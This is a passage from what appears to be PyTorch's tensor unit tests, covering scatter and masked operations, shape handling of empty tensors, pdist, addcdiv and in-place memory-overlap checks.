dtype=dtype).repeat(2, 2), torch.tensor([[2, 2, 2, 2], [12, 2, 2, 2], [12, 2, 2, 2], [2, 2, 2, 2]], device=device, dtype=dtype), "multiply"), ] for input, src, result, operation in test_data: if not self.scatter_allow_reduce(device, dtype, operation): continue input.scatter_(0, index, src, reduce=operation) self.assertEqual(input, result) # torch.{zeros, ones} do not support ComplexHalf (torch.complex32) # So, we are skipping it here. @dtypes(*(get_all_fp_dtypes(include_bfloat16=False, include_half=False) + get_all_complex_dtypes())) @dtypesIfCPU(*get_all_dtypes()) @dtypesIfCUDA(*get_all_dtypes()) def test_scatter_reduce_scalar(self, device, dtype): index = torch.tensor([[1], [2]], device=device, dtype=torch.long) test_data = [ (torch.zeros(4, 4, device=device, dtype=dtype), 1, torch.tensor([[0, 0, 0, 0], [1, 0, 0, 0], [1, 0, 0, 0], [0, 0, 0, 0]], device=device, dtype=dtype), "add"), (torch.tensor([2], device=device, dtype=dtype).repeat(4, 4), 2, torch.tensor([[2, 2, 2, 2], [4, 2, 2, 2], [4, 2, 2, 2], [2, 2, 2, 2]], device=device, dtype=dtype), "multiply"), ] for input, src, result, operation in test_data: if not self.scatter_allow_reduce(device, dtype, operation): continue input.scatter_(0, index, src, reduce=operation) self.assertEqual(input, result) # TODO: remove this after scatter_add_ is deprecated. def test_scatter_add_non_unique_index(self, device): height = 2 width = 65536 input = torch.ones(height, width, device=device) index = torch.zeros(height, width, dtype=torch.long, device=device) src = torch.ones(height, width, device=device) input.scatter_add_(0, index, src) self.assertEqual(input, torch.tensor([[3], [1]], device=device, dtype=torch.float32).repeat(1, width)) # torch.{zeros, ones} do not support ComplexHalf (torch.complex32) # So, we are skipping it here. @dtypes(*(get_all_fp_dtypes(include_bfloat16=False, include_half=False) + get_all_complex_dtypes())) @dtypesIfCPU(*get_all_dtypes()) @dtypesIfCUDA(*get_all_dtypes()) def test_scatter_reduce_non_unique_index(self, device, dtype): height = 2 width = 2 index = torch.zeros(height, width, dtype=torch.long, device=device) test_data = [ (torch.ones(height, width, device=device, dtype=dtype), torch.ones(height, width, device=device, dtype=dtype), torch.tensor([[3], [1]], device=device, dtype=dtype).repeat(1, width), "add"), (torch.tensor([2], device=device, dtype=dtype).repeat(height, width), torch.tensor([2], device=device, dtype=dtype).repeat(height, width), torch.tensor([[8], [2]], device=device, dtype=dtype).repeat(1, width), "multiply"), ] for input, src, result, operation in test_data: if not self.scatter_allow_reduce(device, dtype, operation): continue input.scatter_(0, index, src, reduce=operation) self.assertEqual(input, result, msg=f"result: {result} input: {input} method: {str(operation)}") # torch.{zeros, ones} do not support ComplexHalf (torch.complex32) # So, we are skipping it here. @onlyCUDA @dtypesIfCUDA(*(get_all_complex_dtypes() + get_all_int_dtypes())) def test_scatter_reduce_multiply_unsupported_dtypes(self, device, dtype): height = 2 width = 2 index = torch.zeros(height, width, dtype=torch.long, device=device) input = torch.ones(height, width, device=device, dtype=dtype) src = torch.ones(height, width, device=device, dtype=dtype) with self.assertRaises(RuntimeError): input.scatter_(0, index, src, reduce="multiply") def test_scatter_to_large_input(self, device): input = torch.zeros(4, 4, device=device) src = torch.ones(2, 2, device=device) index = torch.tensor([[1], [2]], device=device, dtype=torch.long) input.scatter_(0, index, src) self.assertEqual(input, torch.tensor([[0, 0, 0, 0], [1, 0, 0, 0], [1, 0, 0, 0], [0, 0, 0, 0]], device=device, dtype=torch.float32)) def test_scatter_add_to_large_input(self, device): input = torch.zeros(4, 4, device=device) src = torch.ones(2, 2, device=device) index = torch.tensor([[1], [2]], device=device, dtype=torch.long) input.scatter_add_(0, index, src) self.assertEqual(input, torch.tensor([[0, 0, 0, 0], [1, 0, 0, 0], [1, 0, 0, 0], [0, 0, 0, 0]], device=device, dtype=torch.float32)) def test_scatter_bool(self, device): x = torch.tensor([[True, True, True], [True, True, True]], device=device) res = torch.zeros(3, 3, dtype=torch.bool, device=device) res = res.scatter_(0, torch.tensor([[0, 1, 2], [0, 1, 2]], device=device), x) self.assertEqual(res, torch.tensor([[True, False, False], [False, True, False], [False, False, True]], device=device)) def test_scatter_add_bool(self, device): x = torch.tensor([[True, True, True, True, True], [True, True, True, True, True]], device=device) res = torch.zeros(3, 5, dtype=torch.bool, device=device) res = res.scatter_add_(0, torch.tensor([[0, 1, 2, 0, 0], [2, 0, 0, 1, 2]], device=device), x) self.assertEqual(res, torch.tensor([[True, True, True, True, True], [False, True, False, True, False], [True, False, True, False, True]], device=device)) @onlyOnCPUAndCUDA @dtypes(*get_all_dtypes()) def test_masked_scatter(self, device, dtype): dt = dtype with warnings.catch_warnings(record=True) as w: warnings.simplefilter("always") for maskType in [torch.uint8, torch.bool]: num_copy, num_dest = 3, 10 dest = torch.tensor([1, 2, 3, 4, 5, 6, 7, 8, 9, 10], dtype=dt, device=device) dest2 = dest.clone() dest_ones = dest.clone() dest_ones_expected = dest.clone() src = torch.tensor([0, 0, 0, 0, 0, 0, 0, 0, 0, 0], dtype=dt, device=device) src_ones = torch.tensor([1, 1, 1, 1, 1, 1, 1, 1, 1, 1], dtype=dt, device=device) mask = torch.tensor((0, 0, 0, 0, 1, 0, 1, 0, 1, 0), dtype=maskType, device=device) if dt == torch.bool: # torch.bool is a special case and is being tested # in a separate test return dest.masked_scatter_(mask, src) j = 0 for i in range(num_dest): if mask[i]: dest2[i] = src[j] dest_ones_expected[i] = src_ones[j] j += 1 self.assertEqual(dest, dest2, atol=0, rtol=0) dest_ones.masked_scatter_(mask, src_ones) self.assertEqual(dest_ones, dest_ones_expected, atol=0, rtol=0) # Bound checking in CUDA is done inside a kernel # in order to avoid synchronization, but this means # we can not clear the failures. So there is no way # to test it then recover. if self.device_type != 'cuda': # make src smaller. this should fail src = torch.zeros(num_copy - 1, dtype=dt, device=device) with self.assertRaises(RuntimeError): dest.masked_scatter_(mask, src) # empty tensor dest = torch.empty((5, 0, 5), dtype=dt, device=device) mask = torch.ones_like(dest, dtype=maskType, device=device) src = torch.empty((0,), dtype=dt, device=device) dest.masked_scatter_(mask, src) dest = torch.empty((5, 0, 5), dtype=dt, device=device) mask = torch.ones((5, 1, 5), dtype=maskType, device=device) src = torch.empty((0,), dtype=dt, device=device) dest.masked_scatter_(mask, src) if self.device_type != 'cuda': self.assertEqual(len(w), 5) else: self.assertEqual(len(w), 4) warn = 'masked_scatter_ received a mask with dtype torch.uint8,' for wi in w: self.assertEqual(str(wi.message)[0:55], str(warn)) def test_masked_scatter_bool_tensor(self, device): src = torch.tensor([True, True, True], device=device) dst = torch.tensor([False, False, False], device=device) mask = torch.tensor([False, True, False], device=device) dst.masked_scatter_(mask, src) self.assertEqual(dst, torch.tensor([False, True, False], device=device)) mask = torch.tensor([True, False, True], device=device) dst = dst.masked_scatter(mask, src) self.assertEqual(dst, torch.tensor([True, True, True], device=device)) # refer https://github.com/pytorch/pytorch/issues/60190 @skipIfRocm @onlyCUDA @largeTensorTest('30GB') def test_masked_scatter_large_tensor(self, device): t_cpu = torch.empty(2**31 + 1, dtype=torch.bool).random_() t = t_cpu.to(device) result_cpu = t_cpu.masked_scatter(t_cpu, t_cpu) result = t.masked_scatter(t, t) self.assertEqual(result, result_cpu) @dtypes(*get_all_dtypes()) def test_masked_select(self, device, dtype): if device == 'cpu': warn = 'masked_select received a mask with dtype torch.uint8,' else: warn = 'indexing with dtype torch.uint8 is now deprecated, pl' for maskType in [torch.uint8, torch.bool]: num_src = 10 src = torch.tensor([0, 0, 0, 0, 0, 0, 0, 0, 0, 0], dtype=dtype, device=device) mask = torch.randint(2, (num_src,), device=device, dtype=maskType) with warnings.catch_warnings(record=True) as w: dst = src.masked_select(mask) if maskType is torch.uint8: self.assertEqual(len(w), 1) self.assertEqual(str(w[0].message)[0:53], str(warn)) dst2 = [] for i in range(num_src): if mask[i]: dst2 += [src[i]] self.assertEqual(dst, torch.tensor(dst2), atol=0, rtol=0) dst3 = torch.empty(0, device=device, dtype=dtype) torch.masked_select(src, mask, out=dst3) self.assertEqual(dst3, torch.tensor(dst2, dtype=dst3.dtype), atol=0, rtol=0) # Since half on CPU is not supported, need to skip the remaining test cases if dtype == torch.half and torch.device(device).type == 'cpu': return # Ensure that masks are expanded to match tensor properly a = torch.rand(100, 100, device=device).mul(100).to(dtype) mask_first_el_each_row = torch.zeros(100, device=device, dtype=torch.bool) mask_first_el_each_row[0] = True a_masked = a.masked_select(mask_first_el_each_row) self.assertEqual(a_masked, a[:, 0]) mask_first_row = torch.zeros(100, 1, device=device, dtype=torch.bool) mask_first_row[0][0] = True a_masked = a.masked_select(mask_first_row) self.assertEqual(a_masked, a[0, :]) # Ensure that tensor is expanded to match mask properly a = torch.rand(100, device=device).mul(100).to(dtype) mask_copy_3_times = torch.tensor([[True], [True], [False], [True]], device=device) a_masked = a.masked_select(mask_copy_3_times) self.assertEqual(a_masked, a.unsqueeze(0).expand(3, 100).flatten()) def test_masked_select_discontiguous(self, device): for size in (10, 200): vals = torch.rand(size, size, device=device) mask = torch.full((size, size), False, dtype=torch.bool, device=device) mask[:, ::2] = True vals_list = (vals, vals.t()) mask_list = (mask, mask.t()) out_dc = torch.empty(size * size, device=device)[::2] for v, m in product(vals_list, mask_list): if m.is_contiguous(): expected = v[:, ::2].clone().reshape((-1, )) else: expected = v[::2].clone().reshape((-1, )) out = torch.masked_select(v, m) self.assertEqual(out, expected, atol=0, rtol=0) torch.masked_select(v, m, out=out_dc) self.assertEqual(out_dc, expected, atol=0, rtol=0) @dtypes(*product(get_all_dtypes(), (torch.uint8, torch.bool))) def test_masked_fill(self, device, dtypes): dtype = dtypes[0] mask_dtype = dtypes[1] with warnings.catch_warnings(record=True) as w: warnings.simplefilter("always") num_dest = 10 dst = torch.zeros(num_dest, dtype=dtype) mask = torch.randint(2, (num_dest,), dtype=mask_dtype) val = random.random() dst2 = dst.clone() dst.masked_fill_(mask, val) for i in range(num_dest): if mask[i]: dst2[i] = val self.assertEqual(dst, dst2, atol=0, rtol=0) # test non-contiguous case dst = ((torch.randn(num_dest, num_dest, num_dest) * 10).to(dtype)).permute((2, 0, 1)) dst2 = dst.contiguous() if dtype.is_complex: mask = dst.abs() > 0 else: mask = dst > 0 self.assertTrue(not dst.is_contiguous()) self.assertTrue(dst2.is_contiguous()) dst.masked_fill_(mask.to(mask_dtype), val) dst2.masked_fill_(mask.to(mask_dtype), val) self.assertEqual(dst, dst2, atol=0, rtol=0) if mask_dtype == torch.uint8: self.assertEqual(len(w), 3) warn = 'masked_fill_ received a mask with dtype torch.uint8,' for wi in w: self.assertEqual(str(wi.message)[0:52], str(warn)) else: self.assertEqual(len(w), 0) def test_masked_fill_bool_tensor(self, device): dst = torch.tensor([True, False, True], device=device) mask = torch.tensor([False, True, False], device=device) dst.masked_fill_(mask, True) self.assertEqual(dst, torch.tensor([True, True, True], device=device)) dst = dst.masked_fill(mask, False) self.assertEqual(dst, torch.tensor([True, False, True], device=device)) def test_tensor_shape_empty(self, device): x = torch.randn((0, 1, 3, 0), device=device) # flatten self.assertEqual((0,), torch.flatten(x, 0, 3).shape) self.assertEqual((0, 0), torch.flatten(x, 0, 2).shape) self.assertEqual((0, 3, 0), torch.flatten(x, 1, 2).shape) # squeeze, unsqueeze self.assertEqual((0, 1, 1, 3, 0), torch.unsqueeze(x, 1).shape) self.assertEqual((0, 3, 0), torch.squeeze(x, 1).shape) self.assertEqual((0, 3, 0), torch.squeeze(x).shape) # transpose, t self.assertEqual((0, 0, 3, 1), torch.transpose(x, 1, 3).shape) y = torch.randn((5, 0), device=device) self.assertEqual((0, 5), y.t().shape) # select self.assertEqual((0, 1, 0), torch.select(x, 2, 2).shape) # repeat, permute self.assertEqual((9, 0, 5, 6, 0), x.repeat(9, 7, 5, 2, 3).shape) self.assertEqual((3, 0, 0, 1), x.permute(2, 3, 0, 1).shape) # diagonal, diagflat self.assertEqual((0,), torch.diagonal(torch.randn((5, 0), device=device)).shape) self.assertEqual((0,), torch.diagonal(torch.randn((0, 5), device=device)).shape) # off the end offsets are valid self.assertEqual((0,), torch.diagonal(torch.randn((5, 0), device=device), offset=1).shape) self.assertEqual((0,), torch.diagonal(torch.randn((0, 5), device=device), offset=1).shape) # check non-zero sized offsets off the end self.assertEqual((5, 6, 0), torch.diagonal(torch.randn((3, 4, 5, 6), device=device), offset=45252).shape) self.assertEqual((5, 6, 0), torch.diagonal(torch.randn((3, 4, 5, 6), device=device), offset=-45252).shape) self.assertEqual((0, 0), torch.diagflat(torch.tensor([], device=device)).shape) self.assertEqual(torch.zeros(1, 1), torch.diagflat(torch.tensor([], device=device), offset=1)) self.assertEqual((0, 0), torch.diagflat(torch.tensor([[]], device=device)).shape) self.assertEqual(torch.zeros(1, 1), torch.diagflat(torch.tensor([[]], device=device), offset=1)) # stack, split, chunk self.assertEqual((4, 0, 1, 3, 0), torch.stack((x, x, x, x)).shape) self.assertEqual([(0, 1, 3, 0)], [z.shape for z in torch.chunk(x, 1, dim=0)]) self.assertEqual([(0, 1, 3, 0), ] * 3, [z.shape for z in torch.chunk(x, 3, dim=0)]) self.assertEqual([(0, 1, 1, 0), ] * 3, [z.shape for z in torch.chunk(x, 3, dim=2)]) # NOTE: split_with_sizes behaves differently than NumPy in that it # takes sizes rather than offsets self.assertEqual([(0, 1, 0, 0), (0, 1, 1, 0), (0, 1, 2, 0)], [z.shape for z in torch.split(x, (0, 1, 2), dim=2)]) self.assertRaises(RuntimeError, lambda: torch.split(x, 0, dim=1)) # This is strange because the split size is larger than the dim size, but consistent with # how split handles that case generally (when no 0s are involved). self.assertEqual([(0, 1, 3, 0)], [z.shape for z in torch.split(x, 1, dim=0)]) self.assertEqual([(0, 1, 3, 0)], [z.shape for z in torch.split(x, 0, dim=0)]) # functions that operate over a dimension but don't reduce. def test_dim_function_empty(self, device): shape = (0, 1, 2, 0) x = torch.randn(shape, device=device) # size stride self.assertEqual(0, x.size(3)) self.assertEqual(2, x.size(2)) self.assertEqual(2, x.stride(0)) self.assertEqual(1, x.stride(2)) self.assertEqual(x, torch.nn.functional.glu(x, 0)) self.assertEqual((0, 1, 1, 0), torch.nn.functional.glu(x, 2).shape) # softmax, logsoftmax self.assertEqual(x, torch.nn.functional.softmax(x, 0)) self.assertEqual(x, torch.nn.functional.softmax(x, 2)) self.assertEqual(x, torch.nn.functional.softmax(x, 3)) self.assertEqual(x, torch.nn.functional.log_softmax(x, 0)) self.assertEqual(x, torch.nn.functional.log_softmax(x, 2)) self.assertEqual(x, torch.nn.functional.log_softmax(x, 3)) # cumsum, cumprod, cummax, cummin self.assertEqual(shape, torch.cumsum(x, 0).shape) self.assertEqual(shape, torch.cumsum(x, 2).shape) self.assertEqual(shape, torch.cumprod(x, 0).shape) self.assertEqual(shape, torch.cumprod(x, 2).shape) self.assertEqual(shape, torch.cummax(x, 0)[0].shape) self.assertEqual(shape, torch.cummax(x, 2)[0].shape) self.assertEqual(shape, torch.cummin(x, 0)[0].shape) self.assertEqual(shape, torch.cummin(x, 2)[0].shape) self.assertEqual(shape, torch.logcumsumexp(x, 0).shape) self.assertEqual(shape, torch.logcumsumexp(x, 2).shape) # flip self.assertEqual(x, x.flip(0)) self.assertEqual(x, x.flip(2)) # roll self.assertEqual(x, x.roll(0, 1).roll(0, -1)) self.assertEqual(x, x.roll(1, x.size(1))) self.assertEqual(x, x.roll(1)) self.assertEqual(x, x.roll((1, 1), (3, 1))) # unbind self.assertEqual((), x.unbind(0)) self.assertEqual((torch.empty((0, 1, 0), device=device), torch.empty((0, 1, 0), device=device)), x.unbind(2)) # cross y = torch.randn((0, 1, 3, 0), device=device) self.assertEqual(y.shape, torch.cross(y, y).shape) # renorm self.assertEqual(shape, torch.renorm(x, 1, 0, 5).shape) self.assertEqual(shape, torch.renorm(x, 1, 2, 5).shape) # sort self.assertEqual([shape, shape], [z.shape for z in torch.sort(x, dim=0)]) self.assertEqual([shape, shape], [z.shape for z in torch.sort(x, dim=2)]) # topk self.assertEqual([shape, shape], [z.shape for z in torch.topk(x, 0, dim=0)]) self.assertEqual([(0, 1, 1, 0), (0, 1, 1, 0)], [z.shape for z in torch.topk(x, 1, dim=2)]) y = torch.randn((2, 3, 4), device=device) self.assertEqual([(2, 3, 0), (2, 3, 0)], [z.shape for z in torch.topk(y, 0)]) # gather self.assertEqual(shape, torch.gather(x, 0, torch.empty(shape, dtype=torch.int64, device=device)).shape) self.assertEqual(shape, torch.gather(x, 2, torch.empty(shape, dtype=torch.int64, device=device)).shape) larger_shape = torch.empty((0, 1, 3, 0), dtype=torch.int64, device=device) self.assertEqual(larger_shape.shape, torch.gather(x, 2, larger_shape).shape) smaller_shape = torch.empty((0, 1, 0, 0), dtype=torch.int64, device=device) self.assertEqual(smaller_shape.shape, torch.gather(x, 2, smaller_shape).shape) y = torch.randn((2, 3, 4), device=device) self.assertEqual((0, 3, 4), torch.gather(y, 0, torch.empty((0, 3, 4), dtype=torch.int64, device=device)).shape) # scatter, scatter_add for dim in [0, 2]: y = torch.randn(shape, device=device) y_src = torch.randn(shape, device=device) ind = torch.empty(shape, dtype=torch.int64, device=device) self.assertEqual(shape, y.scatter_(dim, ind, y_src).shape) self.assertEqual(shape, y.scatter_add_(dim, ind, y_src).shape) z = torch.randn((2, 3, 4), device=device) z_src = torch.randn((2, 3, 4), device=device) self.assertEqual(z, z.scatter_(2, torch.empty((2, 3, 0), dtype=torch.int64, device=device), z_src)) self.assertEqual(z, z.scatter_add_(2, torch.empty((2, 3, 0), dtype=torch.int64, device=device), z_src)) # index_fill, index_copy, index_add c = x.clone() c_clone = c.clone() ind_empty = torch.tensor([], dtype=torch.int64, device=device) ind_01 = torch.tensor([0, 1], dtype=torch.int64, device=device) self.assertEqual(c_clone, c.index_fill_(0, ind_empty, -1)) self.assertEqual(c_clone, c.index_fill_(2, ind_empty, -1)) self.assertEqual(c_clone, c.index_fill_(2, torch.tensor([0, 1], dtype=torch.int64, device=device), -1)) self.assertEqual(c_clone, c.index_copy_(0, ind_empty, torch.empty((0, 1, 2, 0), device=device))) self.assertEqual(c_clone, c.index_copy_(2, ind_empty, torch.empty((0, 1, 0, 0), device=device))) self.assertEqual(c_clone, c.index_copy_(2, ind_01, torch.empty((0, 1, 2, 0), device=device))) self.assertEqual(c_clone, c.index_add_(0, ind_empty, torch.empty((0, 1, 2, 0), device=device))) self.assertEqual(c_clone, c.index_add_(2, ind_empty, torch.empty((0, 1, 0, 0), device=device))) self.assertEqual(c_clone, c.index_add_(2, ind_01, torch.empty((0, 1, 2, 0), device=device))) c = torch.randn((0, 1, 2), device=device) c_clone = c.clone() self.assertEqual(c_clone, c.index_fill_(0, ind_empty, -1)) self.assertEqual(c_clone, c.index_copy_(0, ind_empty, torch.empty((0, 1, 2), device=device))) self.assertEqual(c_clone, c.index_add_(0, ind_empty, torch.empty((0, 1, 2), device=device))) self.assertEqual(c_clone, c.index_fill_(0, ind_empty, -1)) self.assertEqual(c_clone, c.index_copy_(0, ind_empty, torch.empty((0, 1, 2), device=device))) self.assertEqual(c_clone, c.index_add_(0, ind_empty, torch.empty((0, 1, 2), device=device))) # index fill/copy/add non-empty z = torch.randn((2, 3, 4), device=device) self.assertEqual(z, z.index_fill_(0, ind_empty, -1)) z = torch.randn((2, 3, 4), device=device) self.assertEqual(z, z.index_copy_(0, ind_empty, torch.empty((0, 3, 4), device=device))) z = torch.randn((2, 3, 4), device=device) self.assertEqual(z, z.index_add_(0, ind_empty, torch.empty((0, 3, 4), device=device))) # index_select self.assertEqual(x, x.index_select(0, ind_empty)) self.assertEqual((0, 1, 0, 0), x.index_select(2, ind_empty).shape) self.assertEqual(x, x.index_select(2, ind_01)) z = torch.randn((2, 3, 4), device=device) # non-empty self.assertEqual((0, 3, 4), z.index_select(0, ind_empty).shape) c = torch.randn((0, 1, 2), device=device) self.assertEqual(c, c.index_select(0, ind_empty)) c = torch.randn((0, 1, 2), device=device) self.assertEqual(c, c.index_select(0, ind_empty)) def _brute_pdist(self, inp, p=2): """Computes the same as torch.pdist using primitives""" n = inp.shape[-2] k = n * (n - 1) // 2 if k == 0: # torch complains about empty indices return torch.empty(inp.shape[:-2] + (0,), dtype=inp.dtype, device=inp.device) square = torch.norm(inp[..., None, :] - inp[..., None, :, :], p=p, dim=-1) unroll = square.view(square.shape[:-2] + (n * n,)) inds = torch.ones(k, dtype=torch.int) inds[torch.arange(n - 1, 1, -1, dtype=torch.int).cumsum(0)] += torch.arange(2, n, dtype=torch.int) return unroll[..., inds.cumsum(0)] def _pdist_single(self, shape, device, p, dtype, trans, grad_check=False): x = torch.randn(shape, dtype=dtype, device=device) if trans: x.transpose_(-2, -1) if grad_check: x.requires_grad_() y = x.detach().clone().requires_grad_() else: y = x actual = torch.pdist(x, p=p) expected = self._brute_pdist(y, p=p) self.assertEqual(expected.shape, actual.shape) self.assertEqual(expected, actual) if grad_check and expected.size() != torch.Size([0]): g0 = torch.rand_like(actual) actual.backward(g0) expected.backward(g0) self.assertEqual(x.grad, y.grad) @slowTest def test_pdist_norm_forward(self, device): for shape in [(4, 5), (3, 2), (2, 1), (1500, 1)]: for p in [0, 1, 2, 3, 1.5, 2.5, float('inf')]: for trans in [False, True]: for dtype in [torch.float32, torch.float64]: self._pdist_single(shape, device, p, dtype, trans, grad_check=False) # do a simplified comparison with big inputs, see: # https://github.com/pytorch/pytorch/issues/15511 for dtype in [torch.float32, torch.float64]: self._pdist_single((1000, 2), device, 2, dtype, trans=False, grad_check=False) @slowTest def test_pdist_norm_backward(self, device): for shape in [(4, 5), (3, 2), (2, 1), (1500, 1)]: for p in [0, 1, 2, 3, 1.5, 2.5, float('inf')]: for trans in [False, True]: self._pdist_single(shape, device, p, torch.float64, trans, grad_check=True) @unittest.skipIf(IS_FBCODE and IS_REMOTE_GPU, "sandcastle OOM with current tpx gpu/re configuration") @skipIfRocm def test_pdist_norm_large(self, device): # use dim0>=46342 for forward, see: # https://github.com/pytorch/pytorch/issues/30583 # Compare output using GPU with the CPU implementation, as brute_pdist uses too much memory if 'cuda' in device: x = torch.randn(50000, 1, dtype=torch.float32) expected_cpu = torch.pdist(x, p=2) actual_gpu = torch.pdist(x.to(device), p=2) self.assertEqual(expected_cpu, actual_gpu.cpu()) @onlyOnCPUAndCUDA @dtypesIfCUDA(*set(get_all_math_dtypes('cuda'))) @dtypes(*set(get_all_math_dtypes('cpu'))) def test_addcdiv(self, device, dtype): # Returns floating or integral scalar corresponding to dtype def _number(floating, integer, dtype): if dtype in [torch.half, torch.float, torch.double, torch.bfloat16]: return floating elif dtype in [torch.cfloat, torch.cdouble]: return floating * (1 + 1j) else: return integer def non_zero_rand(size, dtype, device): if dtype.is_floating_point or dtype.is_complex: a = torch.rand(size=size, dtype=dtype, device=device) elif dtype == torch.uint8: a = torch.randint(1, 5, size=size, dtype=dtype, device=device) else: a = torch.randint(-5, 5, size=size, dtype=dtype, device=device) return a + (a == 0).to(dtype) def _test_addcdiv(): a = non_zero_rand((2, 2), dtype=dtype, device=device) b = non_zero_rand((2, 2), dtype=dtype, device=device) c = non_zero_rand((2, 2), dtype=dtype, device=device) alpha = _number(0.5, 3, dtype) expected = a + (alpha * b) / c actual = torch.addcdiv(a, b, c, value=alpha) self.assertEqual(expected, actual) with self.assertWarnsOnceRegex( UserWarning, "This overload of addcdiv is deprecated"): self.assertEqual(actual, torch.addcdiv(a, alpha, b, c)) if not (dtype.is_floating_point or dtype.is_complex): # Integer division with addcdiv is prohibited with self.assertRaises(RuntimeError): _test_addcdiv() else: _test_addcdiv() if self.device_type == 'cuda' and dtype == torch.half: a = torch.tensor([60000.0], device=device, dtype=dtype) b = torch.tensor([60000.0], device=device, dtype=dtype) c = torch.tensor([1.0], device=device, dtype=dtype) out = torch.addcmul(a, b, c, value=-2) self.assertTrue(not (out.isnan() or out.isinf())) def test_nullary_op_mem_overlap(self, device): ops = ( ("random_", ()), ("uniform_", ()), ("cauchy_", ()), ("log_normal_", ()), ("exponential_", ()), ("geometric_", (0.5,)), ("normal_", ()), ) x = torch.rand((1, 3)).expand((3, 3)) for op, args in ops: with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): getattr(x, op)(*args) @dtypes(torch.double) def test_ternary_op_mem_overlap(self, device, dtype): ops = [ ("addcmul", True, True, 'cpu'), ("addcmul", True, True, 'cuda'), ("addcdiv", True, True, 'cpu'), ("addcdiv", True, True, 'cuda'), ("lerp", True, True, 'cpu'), ("lerp", True, True, 'cuda') ] for (fn, has_input_output_mem_overlap_check, has_internal_mem_overlap_check, dev) in ops: if dev != device: continue out_op = getattr(torch, fn) inplace_op = getattr(torch.Tensor, fn + '_') self.check_internal_mem_overlap( inplace_op, 3, dtype, device, expected_failure=not has_internal_mem_overlap_check) self.ternary_check_input_output_mem_overlap(out_op, dev, expected_failure=not has_input_output_mem_overlap_check) @dtypes(torch.double) @onlyOnCPUAndCUDA def test_copy_mem_overlap(self, device, dtype): self.check_internal_mem_overlap( torch.Tensor.copy_, num_inputs=2, dtype=dtype, device=device) sz = 9 doubles = torch.randn(2 * sz, dtype=dtype, device=device) self.unary_check_input_output_mem_overlap( doubles, sz, lambda input, out: out.copy_(input)) @onlyOnCPUAndCUDA def test_index_add_mem_overlap(self, device): x = torch.rand((1,), device=device).expand((6,)) y = torch.rand((6,), device=device) ind = torch.tensor([2, 1, 0], device=device) value = torch.rand((3,), device=device) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): x.index_add_(0, ind, value) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): y.index_add_(0, ind, y[:3]) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): ind.index_add_(0, ind, ind.clone()) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): ind.index_add_(0, ind.clone(), ind) @onlyOnCPUAndCUDA def test_index_copy_mem_overlap(self, device): x = torch.rand((1,), device=device).expand((6,)) y = torch.rand((6,), device=device) ind = torch.tensor([2, 1, 0], device=device) value = torch.rand((3,), device=device) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): x.index_copy_(0, ind, value) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): y.index_copy_(0, ind, y[:3]) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): ind.index_copy_(0, ind, ind.clone()) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): ind.index_copy_(0, ind.clone(), ind) @onlyOnCPUAndCUDA def test_index_fill_mem_overlap(self, device): x = torch.rand((1,), device=device).expand((6,)) y = torch.rand((6,), device=device) ind = torch.tensor([2, 1, 0], device=device) value = torch.rand((3,), device=device) with self.assertWarnsRegex(UserWarning, "index_fill_ on expanded tensors"): x.index_fill_(0, ind, 1.0) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): ind.index_fill_(0, ind, 0) @onlyOnCPUAndCUDA def test_shift_mem_overlap(self, device): x = torch.rand(3, device=device) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): x[:-1] <<= x[1:] with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): x[:-1] >>= x[1:] @onlyOnCPUAndCUDA def test_bernoulli_mem_overlap(self, device): x = torch.rand((1,), device=device).expand((6,)) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): x.bernoulli_() with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): x.bernoulli_(p=0.1) p = torch.rand(6, device=device) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): x.bernoulli_(p=p) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): torch.bernoulli(torch.rand_like(x), out=x) @onlyOnCPUAndCUDA def test_put_mem_overlap(self, device): x = torch.rand((1,), device=device).expand((6,)) y = torch.rand((6,), device=device) ind = torch.tensor([2, 1, 0], device=device) value = torch.rand((3,), device=device) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): x.put_(ind, value) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): y.put_(ind[0], y[0]) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): ind.put_(ind, ind) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): y.put_(ind, y[:3]) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): ind.put_(ind, ind.clone()) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): ind.put_(ind.clone(), ind) @onlyOnCPUAndCUDA def test_index_put_mem_overlap(self, device): x = torch.rand((1,), device=device).expand((6,)) y = torch.rand((6,), device=device) ind = torch.tensor([2, 1, 0], device=device) value = torch.rand((3,), device=device) with self.assertWarnsRegex(UserWarning, 'expanded tensors'): x.index_put_((ind,), value) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): y.index_put_((ind,), y[0]) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): ind.index_put_((ind,), ind) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): y.index_put_((ind,), y[:3]) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): ind.index_put_((ind,), ind.clone()) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): ind.index_put_((ind.clone(),), ind) @onlyOnCPUAndCUDA def test_masked_fill_mem_overlap(self, device): x = torch.rand((1,), device=device).expand((6,)) mask = torch.tensor([True, False, True, True, False, False], device=device) with self.assertWarnsRegex(UserWarning, 'expanded tensors'): x.masked_fill_(mask, 0.) fill_val = torch.tensor(0., device=device) with self.assertWarnsRegex(UserWarning, 'expanded tensors'): x.masked_fill_(mask, fill_val) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): mask[1:].masked_fill_(mask[:-1], False) @onlyOnCPUAndCUDA def test_masked_select_mem_overlap(self, device): x = torch.rand((1,), device=device).expand((3,)) y = torch.rand((6,), device=device) mask = torch.tensor([True, False, True, True, False, False], device=device) with self.assertRaisesRegex(RuntimeError, 'unsupported operation'): torch.masked_select(y, mask, out=x) with 